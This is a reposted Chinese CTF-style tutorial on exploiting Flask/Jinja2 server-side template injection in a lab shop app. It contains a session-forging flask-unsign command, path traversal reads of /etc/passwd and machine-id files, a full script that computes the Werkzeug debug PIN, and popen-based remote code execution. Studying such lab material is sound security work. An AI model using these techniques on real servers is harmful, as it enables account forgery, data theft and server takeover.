Flask SSTI利用方式的探索

发布时间:2022-07-04 发布网站:脚本宝典
脚本宝典收集整理的这篇文章主要介绍了Flask SSTI利用方式的探索脚本宝典觉得挺不错的,现在分享给大家,也给大家做个参考。

Flask SSTI利用方式的探索

一、SSTI简介&环境搭建

​ 一个统一风格的站点,其大多数页面样式都是一致的,只是每个页面显示的内容各不相同。要是所有的逻辑都放在前端进行,无疑会影响响应效果和效率,很不现实。把所有的逻辑放在后端,又会导致太过复杂,前轻后重。

​ 模板的诞生是为了将显示与数据分离,让前端工作人员专注表现设计,后台人员注重业务逻辑,同时简化代码的复杂程度。模板技多种多样,但其本质是将模板文件和数据通过模板引擎生成最终的HTML代码。

​ Flask使用Jinja 2作为模板引擎。Jinja的语法很简单,大致有这么几种:

​ {%....%}语句(statements)

​ {f .…H}打印模板输出的表达式(ExPressions)

​ {#....#}注释

​ #...##行语句(Line Statements)

什么是SSTI,SSTI会导致什么问题?

​ SSTI,又称服务端模板注入攻击。jinja2模板中使用{{ }}语法表示一个变量,它是一种特殊的占位符。当利用jinja2进行渲染的时候,它会把这些特殊的占位符进行填充/替换。但是在进行目标编译渲染的过程中,执行了用户插入的恶意内容,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题

​ 测试环境搭建:ubuntu + docker

​ 题目:https://gIThub.COM/Tiaonmmn/pasecactf_2019_web_honey_shop

​ 微调,增加了SSTI~

二、敏感信息泄露导致身份伪造

Flask SSTI利用方式的探索

Flask SESSION机制:

Flask SSTI利用方式的探索

​ 通过.隔开的3段内容,第一段其实就是base64 encode后的内容,但去掉了填充用的等号,若decode失败,自己需要补上1-3个等号补全。中间内容为时间戳,在flask中时间戳若超过31天则视为无效。最后一段则是安全签名,将session data,时间戳,和flask的secret key通过sha1运算的结果。

SSTI方式

F12 → Application → Cookies

Flask SSTI利用方式的探索

​ 这里我们只需要找到secret key就可以对其签名,得到一个有效的valid Signature,对其中内容进行替换

​ 查看robots.txt,看看能不能得到有效信息

Flask SSTI利用方式的探索

​ 我们再去访问一下hello,得到Hello guest

Flask SSTI利用方式的探索

​ 这里我们尝试用name对字段进行替换,说明用户可以通过name字段传信息到后台,后台再将信息渲染到页面来

Flask SSTI利用方式的探索

​ 我们再进行测试,发现这里没有对用户输入进行过滤,而是直接执行

Flask SSTI利用方式的探索

​ 我们通过config可以查看到一些重要的信息,这里我们就拿到了secret key

Flask SSTI利用方式的探索

​ 我们在Linux的终端中利用flask-unsign工具,可以进行session的伪造(以修改金钱为例

flask-unsign --sign --cookie "{'balance':666666}" --secret "获取的secret key"

​ 回到我们获取session的位置,将运行结果替换原来的值,再刷新一下,发现我们的金额成功被修改为我们设定的值

Flask SSTI利用方式的探索

原题解题方式:

​ 原题中图签可以下载,我们获取URL,发现URL通过download?image指明一个参数进行下载,这里我们可以审查一下有没有目录穿越问题

Flask SSTI利用方式的探索

​ 发现passwd可以被下载,说明网站确实存在目录穿越问题

Flask SSTI利用方式的探索

​ 我们再去下载环境变量,获取到文件里的secret key

Flask SSTI利用方式的探索

三、Flask PIN码利用

Flask PIN码机制:

Flask SSTI利用方式的探索

​ Flask应用在Debug模式下提供的一种页面端的交互调试工具,和我们平时使用的Python命令行是一样的,也就是给我们提供了一个交互式的web端shell。但是PIN码的生成规则是有规律可循的,使得获取PIN码成为可能,之后能够利用的方式有很多。(只有在Debug开启的情况下)

​ 这里我们在原来输入config的位置乱写,然后页面报错

Flask SSTI利用方式的探索

​ 我们如何获得Flask PIN呢?

import hashlib
From itertools import chain
PRobably_public_bits = [
    'flaskweb'# username
    'flask.app',# modname
    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__FILE__', None),
]

private_bits = [
    '2485377957894',# str(uuid.getnode()),  /Sys/class/net/ens33/address
    '3c7c60af8484830ab0b1e9615fada4e74d93a8a111baa4afcd949feeab56c320'# get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)
————————————————
版权声明:本文为CSDN博主「火 柴 人」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/weixin_43536759/article/details/105194333

​ 我们可以通过获取Flask上的六个值来计算出Flask的PIN

​ 1.username:运行当前Flask的用户名(可通过之前下载的passwd文件获取)

​ 2.modename:一般默认值为flask.app

​ 3.getatrr函数的值:一般默认值为Flask

​ 4.Flask的路径(报错信息可以直接查看)

​ 5.网络地址十进制

Flask SSTI利用方式的探索

​ 文件里为十六进制值,可通过命令转换为十进制

int ("十六进制值去掉冒号",16)

​ 6.Flask运行机器的机器码

​ 一般环境在etc/machine-id下,如果报错,可以去proc/self/cgroup尝试,这里docker里面就是我们要找的值

Flask SSTI利用方式的探索

​ 计算出PIN码后我们可以回到报错页面,点击报错信息右边的小窗口,输入PIN码后即可得到一个交互窗口,但在这里只能得到交互命令的返回值,看不到具体输出

Flask SSTI利用方式的探索

​ 但我们可以通过poPEn+read将返回的值显示出来

Flask SSTI利用方式的探索

Flask SSTI利用方式的探索

四、SSTI导致RCE

​ Python魔法函数+内置函数

​ 所谓魔法函数(Magic Methods),是Python的一种高级语法,允许你在类中自定义函数(函数名格式一般为__xx__),并绑定到类的特殊方法中。比如在类A中自定义__str__()函数,则在调用str(A())时,会自动调用__str__()(函数,并返回相应的结果。在我们平时的使用中,可能经常使用__init__函数和__del__函数,其实这也是魔法函数的一种。

在Python中,输入可以查看python内建函数。help(dir(._builtins ))。简单理解就是Python中自带的函数,直接拿来用就好了。

Flask SSTI利用方式的探索

​ 这里我们需要定位到popen的位置,这里为302,然后就可以直接利用它,再去找到一些可以利用的子类,比如popen和os

Flask SSTI利用方式的探索

​ 发现这里可以达到直接执行系统命令的操作

Flask SSTI利用方式的探索

Flask SSTI利用方式的探索

Flask SSTI利用方式的探索

脚本宝典总结

以上是脚本宝典为你收集整理的Flask SSTI利用方式的探索全部内容,希望文章能够帮你解决Flask SSTI利用方式的探索所遇到的问题。

如果觉得脚本宝典网站内容还不错,欢迎将脚本宝典推荐好友。

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
如您有任何意见或建议可联系处理。小编QQ:384754419,请注明来意。